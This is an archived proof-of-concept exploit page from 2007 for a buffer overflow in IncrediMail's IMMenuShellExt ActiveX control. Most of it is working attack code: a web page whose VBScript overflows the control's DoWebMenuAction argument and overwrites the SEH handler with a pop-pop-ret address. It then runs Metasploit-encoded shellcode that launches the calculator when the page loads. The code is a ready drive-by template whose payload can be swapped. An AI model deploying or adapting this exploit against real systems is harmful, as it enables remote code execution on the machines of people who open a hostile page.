IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit
2007-05-08 00:00:00<!--
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IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit
By Umesh Wanve
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Date : 08-05-2007
Reference: http://www.securityfocus.com/bid/23674
Tested on Windows 2000 SP4 Server English
Windows 2000 SP4 Professional English
Opens Calculator on the Vulnerable machine.
PS. This was written for educational purpose. Use it at your own risk.Author will be not be
responsible for any damage.
Always thanks to Metasploit and Stroke
-->
<html>
<title>
IncrediMail IMMenuShellExt ActiveX Control Buffer Overflow Exploit - By Umesh Wanve
</title>
<body>
<OBJECT id="target" WIDTH=445 HEIGHT=40 classid="clsid:F8984111-38B6-11D5-8725-0050DA2761C4" > </OBJECT>
<script language="vbscript">
<!-- win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com -->
shellcode=unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36")
shellcode=shellcode+unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41")
shellcode=shellcode+unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34%42%30%42%30%42%50%4b%48%45%34%4e%53%4b%48%4e%47")
shellcode=shellcode+unescape("%45%30%4a%57%41%30%4f%4e%4b%58%4f%34%4a%31%4b%58%4f%35%42%42%41%30%4b%4e%49%54%4b%38%46%33%4b%38")
shellcode=shellcode+unescape("%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%38%42%4c%46%37%47%30%41%4c%4c%4c%4d%30%41%50%44%4c%4b%4e")
shellcode=shellcode+unescape("%46%4f%4b%43%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%45%46%32%41%50%4b%4e%48%36%4b%38%4e%50%4b%54")
shellcode=shellcode+unescape("%4b%38%4f%35%4e%31%41%30%4b%4e%4b%58%4e%31%4b%38%41%30%4b%4e%49%38%4e%35%46%52%46%50%43%4c%41%33")
shellcode=shellcode+unescape("%42%4c%46%36%4b%48%42%44%42%53%45%58%42%4c%4a%37%4e%50%4b%38%42%44%4e%50%4b%48%42%47%4e%41%4d%4a")
shellcode=shellcode+unescape("%4b%48%4a%36%4a%30%4b%4e%49%30%4b%48%42%38%42%4b%42%50%42%50%42%50%4b%38%4a%46%4e%43%4f%35%41%43")
shellcode=shellcode+unescape("%48%4f%42%46%48%45%49%48%4a%4f%43%48%42%4c%4b%57%42%55%4a%56%42%4f%4c%38%46%50%4f%45%4a%36%4a%49")
shellcode=shellcode+unescape("%50%4f%4c%48%50%50%47%55%4f%4f%47%4e%43%36%41%56%4e%56%43%56%42%30%5a")
nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90")
pointer_to_seh=unescape("%eb%06%90%90")
<!-- 0x750211a9 -- pop pop ret from ws2help.dll from windows2000 SP4 -->
seh_handler=unescape("%a9%11%02%75")
targetFile = "C:\PROGRA~1\INCRED~1\bin\ImShExt.dll"
prototype = "Sub DoWebMenuAction ( ByVal bsPath As String )"
memberName = "DoWebMenuAction"
progid = "INCREDISHELLEXTLib.IMMenuShellExt"
argCount = 1
arg1=String(2483, "A")
arg1=arg1+pointer_to_seh+seh_handler+nop+shellcode+nop
target.DoWebMenuAction arg1
</script>
</body>
</html>
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.